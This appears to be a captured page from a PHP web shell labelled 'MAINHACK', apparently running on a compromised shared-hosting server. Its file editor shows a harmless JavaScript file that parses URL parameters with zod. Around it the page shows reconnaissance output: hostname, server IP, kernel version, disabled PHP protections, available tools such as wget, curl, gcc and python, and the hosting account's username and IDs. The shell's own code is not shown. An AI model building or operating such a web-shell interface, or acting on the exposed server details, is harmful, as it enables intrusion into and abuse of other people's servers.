[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: url-params.js
import { safeParseJson } from '@shared/lib/parsing'; import { z } from 'zod'; // These override user/ai counterparts in get-profile export const urlParamsShape = z.object({ title: z .string() .optional() .default('') .catch(() => ''), description: z .string() .optional() .default('') .catch(() => ''), type: z .string() .optional() .catch(() => ''), objective: z .string() .optional() .catch(() => ''), category: z .string() .optional() .catch(() => ''), structure: z .string() .optional() .catch(() => ''), tone: z .array(z.string()) .optional() .catch(() => []), products: z .union([z.string(), z.literal(false)]) .optional() .catch(() => false), appointments: z .boolean() .optional() .catch(() => false), events: z .boolean() .optional() .catch(() => false), donations: z .boolean() .optional() .catch(() => false), multilingual: z .boolean() .optional() .catch(() => false), contact: z .boolean() .optional() .catch(() => false), address: z .union([z.boolean(), z.string()]) .optional() .catch(() => false), blog: z .boolean() .optional() .catch(() => false), 'landing-page': z .string() .optional() .catch(() => ''), 'cta-link': z .union([z.boolean(), z.string()]) .optional() .catch(() => false), 'build-id': z .string() .optional() .catch(() => ''), go: z .boolean() .optional() .catch(() => false), }); export const urlParams = urlParamsShape.parse( safeParseJson(window.extLaunchData.urlParams) || {}, ); // remove them from the url to avoid confusion later const url = new URL(window.location.href); Object.keys(urlParams).forEach((key) => { url.searchParams.delete(key); }); window.history.replaceState({}, '', url.toString()); export const overrideWithUrlParams = (urlParams) => { const { 'landing-page': landingPage, 'cta-link': landingPageCTALink, ...rest } = urlParams; const mapped = { ...rest, landingPage: landingPage === 'clickthrough' || undefined, landingPageCTALink, }; return Object.fromEntries( Object.entries(mapped).filter(([, v]) => v !== undefined && v !== ''), ); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.63 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830